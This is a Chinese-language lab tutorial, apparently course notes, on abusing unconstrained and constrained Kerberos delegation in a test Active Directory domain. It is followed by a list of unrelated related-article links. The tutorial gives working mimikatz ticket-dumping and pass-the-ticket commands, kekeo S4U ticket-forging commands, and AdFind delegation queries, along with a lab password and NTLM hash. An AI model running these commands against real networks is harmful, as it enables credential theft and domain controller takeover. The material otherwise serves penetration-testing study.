第135天:内网安全-横向移动非约束委派约束委派数据库攻防

2024-08-25 13:12

本文主要是介绍第135天:内网安全-横向移动非约束委派约束委派数据库攻防,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

案例一:  横向移动-原理利用-非约束委派

该案例建立了解即可,真实环境应该不可能有人这样配置

非约束委派的原理和利用场景

原理:
机器 A (域控)访问具有非约束委派权限的机器 B 的服务,会把当前认证用户(域管用
户)的的 TGT 放在 ST 票据中,一起发送给机器 B ,机器 B 会把 TGT 存储在 lsass 进程
中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管
理员的 TGT ,从而模拟域管用户。

实验环境  god.org

配置环境

首先需要把webserver的computer中委派,设置为信任任何服务

利用这条命令进行更新

setspn -U -A priv/test webadmin

更新后在该用户的属性就会出现委派一栏

而别的用户中不会出现这一栏

msf上线并且提权到system权限

利用ADFIND工具进行查询非约束委派的账户

本来应该设置代理,在本地运行,但是我是linux系统我就直接上传了

adfind下载地址

https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

 执行命令

AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

让域控主机访问webadmin,正常应该是设置钓鱼

访问过以后让webserver利用mimikatz导出票据

mimikatz sekurlsa::tickets /export

利用管理员的身份伪造票据

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;9eb18]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi

 利用该身份就可以访问域控,记得用主机名去访问

案例二: 横向移动-原理利用-约束委派

非约束委派存在不安全性,所以微软在Windows server 2003中引入了约束委派,约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控

环境配置

然后点击确定,添加服务cifs

给对应的用户也添加上该服务环境配置完成

正常cs控制webserver,并且提权到了system权限后

查询域内设置了约束委派账户的命令

shell c:\users\webadmin\desktop\AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询域内设置了约束委派机器的命令

shell AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

 利用kekeo去请求TGT

记得利用system权限去抓取mimikatz

明文:
shell kekeo "tgt::ask /user:webadmin /domain:god.org /password:admin!@#45" "exit"   hash值:
shell kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

这里我还是直接上传,真实环境在本地设置代理,在本地运行

通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

shell kekeo.exe "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/OWA2010CN-God.god.org" "exit"

利用mimikatz导入票据

mimikatz kerberos::ptt 
TGS_Administrator@god.org@GOD.ORG_cifs~OWA2010CN-God.god.org@GOD.ORG.kirbishell dir \\OWA2010SP3\c$

查看当前票据

 访问目标文件加夹

先写到这里后面还有一个综合性靶场以后再做把^_^

这篇关于第135天:内网安全-横向移动非约束委派约束委派数据库攻防的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1105647

相关文章

使用Navicat工具比对两个数据库所有表结构的差异案例详解

《使用Navicat工具比对两个数据库所有表结构的差异案例详解》:本文主要介绍如何使用Navicat工具对比两个数据库test_old和test_new,并生成相应的DDLSQL语句,以便将te... 目录概要案例一、如图两个数据库test_old和test_new进行比较:二、开始比较总结概要公司存在多

MySQL数据库函数之JSON_EXTRACT示例代码

《MySQL数据库函数之JSON_EXTRACT示例代码》:本文主要介绍MySQL数据库函数之JSON_EXTRACT的相关资料,JSON_EXTRACT()函数用于从JSON文档中提取值,支持对... 目录前言基本语法路径表达式示例示例 1: 提取简单值示例 2: 提取嵌套值示例 3: 提取数组中的值注意

查询SQL Server数据库服务器IP地址的多种有效方法

《查询SQLServer数据库服务器IP地址的多种有效方法》作为数据库管理员或开发人员,了解如何查询SQLServer数据库服务器的IP地址是一项重要技能,本文将介绍几种简单而有效的方法,帮助你轻松... 目录使用T-SQL查询方法1:使用系统函数方法2:使用系统视图使用SQL Server Configu

SQL Server数据库迁移到MySQL的完整指南

《SQLServer数据库迁移到MySQL的完整指南》在企业应用开发中,数据库迁移是一个常见的需求,随着业务的发展,企业可能会从SQLServer转向MySQL,原因可能是成本、性能、跨平台兼容性等... 目录一、迁移前的准备工作1.1 确定迁移范围1.2 评估兼容性1.3 备份数据二、迁移工具的选择2.1

Python中连接不同数据库的方法总结

《Python中连接不同数据库的方法总结》在数据驱动的现代应用开发中,Python凭借其丰富的库和强大的生态系统,成为连接各种数据库的理想编程语言,下面我们就来看看如何使用Python实现连接常用的几... 目录一、连接mysql数据库二、连接PostgreSQL数据库三、连接SQLite数据库四、连接Mo

Oracle数据库如何切换登录用户(system和sys)

《Oracle数据库如何切换登录用户(system和sys)》文章介绍了如何使用SQL*Plus工具登录Oracle数据库的system用户,包括打开登录入口、输入用户名和口令、以及切换到sys用户的... 目录打开登录入口登录system用户总结打开登录入口win+R打开运行对话框,输php入:sqlp

数据库使用之union、union all、各种join的用法区别解析

《数据库使用之union、unionall、各种join的用法区别解析》:本文主要介绍SQL中的Union和UnionAll的区别,包括去重与否以及使用时的注意事项,还详细解释了Join关键字,... 目录一、Union 和Union All1、区别:2、注意点:3、具体举例二、Join关键字的区别&php

查询Oracle数据库表是否被锁的实现方式

《查询Oracle数据库表是否被锁的实现方式》本文介绍了查询Oracle数据库表是否被锁的方法,包括查询锁表的会话、人员信息,根据object_id查询表名,以及根据会话ID查询和停止本地进程,同时,... 目录查询oracle数据库表是否被锁1、查询锁表的会话、人员等信息2、根据 object_id查询被

在idea中使用mysql数据库超详细教程

《在idea中使用mysql数据库超详细教程》:本文主要介绍如何在IntelliJIDEA中连接MySQL数据库,并使用控制台执行SQL语句,还详细讲解了如何使用MyBatisGenerator快... 目录一、连接mysql二、使用mysql三、快速生成实体、接口、sql文件总结一、连接mysql在ID

浅析Rust多线程中如何安全的使用变量

《浅析Rust多线程中如何安全的使用变量》这篇文章主要为大家详细介绍了Rust如何在线程的闭包中安全的使用变量,包括共享变量和修改变量,文中的示例代码讲解详细,有需要的小伙伴可以参考下... 目录1. 向线程传递变量2. 多线程共享变量引用3. 多线程中修改变量4. 总结在Rust语言中,一个既引人入胜又可